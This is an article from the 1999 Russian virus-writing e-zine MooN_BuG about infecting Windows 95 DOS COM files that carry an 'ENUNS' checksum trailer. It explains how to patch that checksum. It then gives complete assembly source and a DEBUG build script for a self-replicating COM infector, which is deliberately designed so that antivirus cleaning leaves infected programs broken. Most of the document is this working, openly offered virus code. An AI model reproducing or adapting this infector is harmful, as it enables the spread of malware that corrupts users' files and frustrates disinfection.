[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 10, Apr 1999                                          file 010

                           ENUNS-FILES INFECTION                 [C] Mongoose
──────────────────────────────────────────────────────────────────────────────

    Дос вымирает. Билли  уже во всю потеет над виндами 2000, которые уже бу-
 дут работать без DOS'а! Ну а 95тые окна принесли новые заморочки начинающим
 вирмейкерам.

    Как известно в 95ом есть "собственный дос". Если посмотреть на COM файлы
 в %windir%\command то мы увидим в конце файла байты ENUNS,  а за ними конт-
 рольную сумму  файла (?). Обычным способом эти (COM) файлы заражаются нехо-
 тят (они  предпочитают  повиснуть). В заголовках EXE-файлов  тоже  мелькает
 что-то похожее на ENUNS,  но эти файлы успешно заражаются стандартными спо-
 собами.

    А вообще и ENUNS-файлы заражать довольно легко, не надо вообще  подсчиты-
 вать crc.

    Для начала надо считать последние 7 байт в буффер,  они должны представ-
 лять из себя что-то типа: ENUNS??, где последние два байта crc  файла. Если
 мы хотим чтоб файл после заражения работал эти байты должны остаться в кон-
 це файла, т.е. буффер должен  находиться в конце тела вируса (можно конечно
 поизвращаться с переносами и т.д.), теперь надо добавить к контрольной сум-
 ме размер тела вируса, которое мы приписываем к файлу и все готово.

    Ниже представлен Ninnyish.Generic с одной фишкой. Этот вирус пишется  не
 за файлом, а затирает семь последних байт (все равно они нам не нужны). Вся
 фишка в том, что зараженные файлы прекрасно работают пока в них есть вирус,
 а  когда паутиныч береться лечить зараженные файлы, он стирает вместе с ви-
 русом нужные файлу байты и файл виснет.

;────[ENUNS.ASM]─────[CUT HERE]────────────────────────────────────────────────
               .model tiny
               .code
                org   100h
 del_block            equ 7                     ; Bytes to erase

 start:         jmp    real_start
                nop
 real_start:    call   calculate_ip             ; Calculate IP
 calculate_ip:  pop    bp
                sub    bp,offset calculate_ip

 restore_orig:  mov    di,100h                  ; Restore original bytes
                lea    si,[bp+original_bytes]
                movsw
                movsw

 set_new_dta:   mov    ah,1ah                   ; Set new DTA
                lea    dx,[bp+dta]
                int    21h

 find_first:    mov    ah,4eh                   ; Find first COM-file
                sub    cx,cx
                lea    dx,[bp+file_mask]
 find_next:     int    21h
                jc     restore_dta

 open_file:     mov    ax,3d02h                 ; Open for read'n'write
                lea    dx,[bp+dta+1eh]
                int    21h
                xchg   bx,ax                    ; Move file handle

                mov    ah,3fh                   ; Read first 4 bytes
                mov    cx,4
                lea    dx,[bp+original_bytes]
                int    21h

                mov    cx,word ptr [bp+dta+1ah]
                cmp    cx,1000
                jb     close_file
                cmp    cx,64000
                ja     close_file

                cmp    byte ptr [bp+original_bytes+3],5
                jz     close_file

                mov    ax,4202h                 ; Move file pointer
                mov    cx,0ffffh
                mov    dx,0fff9h
                int    21h

                mov    ah,3fh                   ; Read 7 bytes
                mov    cx,7
                lea    dx,[bp+enuns]
                int    21h

                cmp    word ptr [bp+enuns],'NE'
                jnz    close_file
;┌────────────────────────────────────────────────────────────────────────────
;│ Add to virus size to CRC
;└────────────────────────────────────────────────────────────────────────────
                add    word ptr [bp+enuns+5],(end_of_code-real_start)-del_block

                call   infect                   ; Infect file

 close_file:    mov    ah,3eh                   ; Close file
                int    21h

                mov    ah,4fh                   ; Find next file
                jmp    find_next

 restore_dta:   mov    ah,1ah                   ; Restore DTA
                mov    dx,80h
                int    21h

                mov    ax,100h                  ; Return control
                jmp    ax

 info                  db 'friday the 13th'
;┌────────────────────────────────────────────────────────────────────────────
;│ Infect file
;└────────────────────────────────────────────────────────────────────────────
 infect:        mov    ax,4202h                 ; Move file pointer
                mov    cx,0ffffh
                mov    dx,0fff9h
                int    21h

                mov    ah,40h                   ; Write virus body
                mov    cx,(end_of_code-real_start)
                lea    dx,[bp+real_start]
                int    21h

                mov    ax,4200h                 ; Move pointer to end of file
                sub    cx,cx
                cwd
                int    21h

                mov    byte ptr [bp+buffer],0e9h; Create JMP
                mov    cx,word ptr [bp+dta+1ah]
                sub    cx,3+del_block
                mov    word ptr [bp+buffer+1],cx
                mov    byte ptr [bp+buffer+3],5

                mov    ah,40h                   ; Write JMP
                mov    cx,4
                lea    dx,[bp+buffer]
                int    21h
                ret
;┌────────────────────────────────────────────────────────────────────────────
;│ DATA
;└────────────────────────────────────────────────────────────────────────────
 file_mask             db '*.com',0             ; File Mask
 original_bytes        db 0cdh,20h,?,?          ; Original bytes
 enuns                 db 7 dup (?)             ; ENUNS??
 end_of_code    label  byte
;┌────────────────────────────────────────────────────────────────────────────
;│ HEAP
;└────────────────────────────────────────────────────────────────────────────
 buffer                db  4 dup (?)
 dta                   db 43 dup (?)
                end    start
;────[ENUNS.ASM]─────[EOF]─────────────────────────────────────────────────────

;────[ENUNS.SCR]─────[CUT HERE]────────────────────────────────────────────────
N ENUNS.COM
E 0100 EB 02 90 90 E8 00 00 5D 81 ED 07 01 BF 00 01 8D
E 0110 B6 E4 01 A5 A5 B4 1A 8D 96 F3 01 CD 21 B4 4E 2B
E 0120 C9 8D 96 DE 01 CD 21 72 5B B8 02 3D 8D 96 11 02
E 0130 CD 21 93 B4 3F B9 04 00 8D 96 E4 01 CD 21 8B 8E
E 0140 0D 02 81 F9 E8 03 72 34 81 F9 00 FA 77 2E 80 BE
E 0150 E7 01 05 74 27 B8 02 42 B9 FF FF BA F9 FF CD 21
E 0160 B4 3F B9 07 00 8D 96 E8 01 CD 21 81 BE E8 01 45
E 0170 4E 75 09 81 86 ED 01 E4 00 E8 23 00 B4 3E CD 21
E 0180 B4 4F EB A1 B4 1A BA 80 00 CD 21 B8 00 01 FF E0
E 0190 66 72 69 64 61 79 20 74 68 65 20 31 33 74 68 B8
E 01A0 02 42 B9 FF FF BA F9 FF CD 21 B4 40 B9 EB 00 8D
E 01B0 96 04 01 CD 21 B8 00 42 2B C9 99 CD 21 C6 86 EF
E 01C0 01 E9 8B 8E 0D 02 83 E9 0A 89 8E F0 01 C6 86 F2
E 01D0 01 05 B4 40 B9 04 00 8D 96 EF 01 CD 21 C3 2A 2E
E 01E0 63 6F 6D 00 CD 20
RCX
00E6
W
Q
;────[ENUNS.SCR]─────[EOF]─────────────────────────────────────────────────────

                                                                (c) Mongoose